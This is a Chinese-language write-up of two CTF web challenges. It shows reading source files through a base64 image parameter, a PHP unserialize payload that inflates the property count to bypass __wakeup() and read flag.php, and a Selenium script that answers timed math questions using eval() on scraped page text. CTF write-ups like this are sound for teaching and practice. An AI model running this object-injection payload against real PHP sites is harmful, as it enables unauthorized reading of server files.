兩道CTF Web的題目


easyphp

題目描述

題目首先是一張不存在的圖片

查看源碼發現只有一句話

<img src="show.php?img=aGludC5qcGc=" width="100%"/>

點開源碼中圖片的鏈接,跳轉到下面的頁面

img 后面的內容很像是 base64 編碼,經過解碼驗證,確實是 base64 編碼,還原后是 hint.jpg 。

嘗試把 img 后面的參數用 flag.jpg、flag.php、flag 的base64編碼代替后訪問,並沒有獲取到有價值內容

直接訪問 index.php 或者 show.php 也看不到任何東西,所以看看能不能利用 img 這個參數讀取兩個php源碼

index.php 的 base64編碼為 aW5kZXgucGhw

show.php 的 base64 編碼為 c2hvdy5waHA=

經過嘗試后,這時通過源碼已經可以讀取到內容,內容分別如下

index.php

<?php 
  require_once('hint.php');
  $x = new hint();
  isset($_GET['class']) && $g = $_GET['class'];
  if (!empty($g)) {
    $x = unserialize($g);
    echo $x;
  }
?>
<img src="show.php?img=aGludC5qcGc=" width="100%"/>

show.php

<?php
  $f = $_GET['img'];
  if (!empty($f)) {
    $f = base64_decode($f);
    if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
    && stripos($f,'flag')===FALSE) {
      readfile($f);
    } else {
      echo "File not found!";
    }
  }
?>

從 index.php 的源碼里看到還有個 hint.php,用同樣的方法讀取,內容如下

hint.php 的 base64 編碼為 aGludC5waHA=

<?php
  error_reporting(0);
    //flag is in flag.php
    class hint{ 
    public $file='';
    function __destruct(){ 
      if(!empty($this->file)) {
       if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
          show_source(dirname (__FILE__).'/'.$this ->file);
       else      die('Wrong filename.');
      }}  
    function __wakeup(){ $this-> file='index.php'; } 
    public function __toString(){return '' ;}} 
?>

代碼審計

hint.php 里面告訴我們 flag 在 flag.php中,所以我們要嘗試去讀取到這個 php 文件

show.php 里面用 stripos 限制了我們讀取的內容,我們不能通過 show.php 的方式來讀取到 flag.php

hint 里面定義了一個 hint 類,這個類有個 show_source(dirname (__FILE__).'/'.$this ->file); 方法,可以讀取我們的 php 文件

而在 index.php 里面用到了 unserialize() 函數,用來反序列化一個 hint 對象,我們可以嘗試使用反序列化的方式來讀取 flag.php

Payload構造

將 hint.php 復制到本地,然后添加下面幾行代碼,通過網頁取得序列化后的字符串

$x=new hint();
$x->file="flag.php";
echo serialize($x);

O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

序列化字符串的含義可以參考:https://www.cnblogs.com/dogecheng/p/11652022.html

根據 index.php 的源碼,我們把這個字符串賦值給 class 就好了,但是並沒有取得 flag

在網上查詢了一些資料后得知,通過 unserialize 反序列化之后,還會調用 __wakeup() 方法,它會把 file 設為 index.php,所以讀取的並不是 flag.php

https://blog.csdn.net/bylfsj/article/details/101385852

我們需要繞過 __wakeup() 函數,但是繞過方法很簡單。當序列化字符串中,表示對象屬性個數的值大於實際屬性個數時,那么就會跳過wakeup方法的執行。

我們原來的序列化字符串為:

O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

我們只需要把 1 改成比它大的數字即可

O:4:"hint":2:{s:4:"file";s:8:"flag.php";}

這時候重新提交請求就能獲得 flag 了

 

calculate

題目描述

題目如下

要求我們回答10道計算題。經過測試,每道題要在3秒內答對,答錯或超時清零回答正確的問題個數。而且答題間隔要在1秒以上

頁面源碼如下,計算表達式 都在 div 中

<h1>calculate</h1>

<p>Answer the questions for 10 times and you can get flag.</p>
<p> You Have answered 0銆€questions;</p>

<form action="" method="post">
<div style="display:inline;color:#499E86">6</div><div style="display:inline;color:#BC2109">1</div><div style="display:inline;color:#E20AAD">5</div><div style="display:inline;color:#AE2893">+</div><div style="display:inline;color:#A3A7DA">9</div><div style="display:inline;color:#72311C">9</div><div style="display:inline;color:#7D99E9">7</div><div style="display:inline;color:#3DB475">+</div><div style="display:inline;color:#2144AE">6</div><div style="display:inline;color:#8523C0">1</div><div style="display:inline;color:#D42154">5</div><div style="display:inline;color:#DD166F">*</div><div style="display:inline;color:#0ADBF4">9</div><div style="display:inline;color:#116660">9</div><div style="display:inline;color:#4F6723">7</div><div style="display:inline;color:#7F7A0D">=</div>
<input type="text" name="ans">
<input type="submit" value="send!">
</form>

腳本編寫

一開始用 python 的 requests 庫來做,沒有成功,自己的代碼估計有小BUG,后來改用 selenium 來做就成功了 ,代碼如下:

from selenium import webdriver
from bs4 import BeautifulSoup
import time

driver=webdriver.Firefox()
driver.get("http://****:13002/")

def submit(driver):
    # 獲取源碼
    source = driver.page_source
    # BeautifulSoup解析
    soup = BeautifulSoup(source, "lxml")
    all_div = soup.find_all(name="div")

    # 獲取表達式
    s = ""
    for i in all_div:
        s = s + i.contents[0]
    # 去掉等號
    s = s[:-1]
    print(s)

    # 計算
    res = eval(s)

    # 填入答案
    element = driver.find_element_by_name("ans")
    element.send_keys(res)

    # 等待 1.1 秒    
    time.sleep(1.1)
    
    # 提交答案 
    driver.find_element_by_xpath("/html/body/form/input[2]").click()
    print("click")

for i in range(10):
    submit(driver)

回答 10 次后在頁面上就會出現 flag 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM